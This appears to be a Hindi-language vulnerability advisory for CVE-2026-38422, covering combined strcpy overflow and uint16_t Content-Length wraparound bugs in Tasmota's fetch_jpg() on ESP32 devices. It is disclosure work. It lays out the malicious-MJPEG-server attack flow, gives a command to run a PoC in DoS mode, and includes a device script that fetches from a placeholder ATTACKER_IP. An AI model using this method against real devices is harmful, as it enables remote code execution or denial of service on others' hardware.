
CVE-2026-38422 — Remote Code Execution via Combined Buffer Overflows in Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38422
गंभीरता: क्रिटिकल (CVSS 9.8)
उत्पाद: Arendst Tasmota
प्रभावित संस्करण: <= 15.3.0.3
फ़ाइल: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
फ़ंक्शन: fetch_jpg()
लेखक: Saidakbarxon Maxsudxonov
प्रकटीकरण: जिम्मेदार — प्रकाशन से पहले Tasmota को रिपोर्ट किया गया
Tasmota के स्क्रिप्टर ड्राइवर (xdrv_10_scripter.ino) में fetch_jpg() फ़ंक्शन में दो संयुक्त मेमोरी भ्रष्टाचार कमजोरियाँ हैं, जो एक साथ Tasmota <= 15.3.0.3 चलाने वाले ESP32-आधारित उपकरणों पर रिमोट कोड निष्पादन को सक्षम बनाती हैं:
boundary[] बफर में strcpy() ओवरफ्लो — WiFiClient/HTTPClient vtable पॉइंटर्स सहित आसन्न हीप मेमोरी को दूषित करता है (CVE-2026-38426 भी देखें)Content-Length पर uint16_t पूर्णांक रैपअराउंड — छोटे बफर के लिए आवंटन जो स्ट्रीम स्थिति भ्रष्टाचार का कारण बनता है (CVE-2026-38427 भी देखें)एकल हमले सत्र में एक साथ उपयोग किए जाने पर, ये दो प्रिमिटिव हीप भ्रष्टाचार को अधिकतम करते हैं और मनमाना कोड निष्पादन प्राप्त करने की संभावना को काफी बढ़ा देते हैं।
Attacker MJPEG Server
│
│ Phase 1: HTTP 200 response with long boundary string
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
│ → strcpy(boundary[40], 50_chars) → OVERFLOW
│ → WiFiClient vtable ptr partially overwritten
▼
ESP32 Heap Corrupted
│
│ Phase 2: MJPEG frame with Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (wraparound)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes remain in stream → heap/stream corruption
▼
Double Corruption → RCE / Guaranteed DoS
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
PoC सर्वर:
fetchjp() ट्रिगर) से कनेक्शन स्वीकार करता हैContent-Length: 65537 के साथ MJPEG फ्रेम भेजता है (रैपअराउंड)पूर्ण कार्यान्वयन के लिए CVE-2026-38422_poc.py देखें।
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
डिवाइस पर fetchjp() का उपयोग करने वाली Tasmota स्क्रिप्ट चल रही होनी चाहिए। हमलावर उस सर्वर को नियंत्रित करता है जिससे डिवाइस कनेक्ट होता है (या मौजूदा कनेक्शन पर MITM करता है)।
कोई भी ESP32-आधारित Tasmota डिवाइस जो संस्करण <= 15.3.0.3 चला रहा है, जिसमें स्क्रिप्टर समर्थन सक्षम है और एक स्क्रिप्ट जो बाहरी MJPEG सर्वर से कनेक्ट करने के लिए fetchjp() का उपयोग करती है।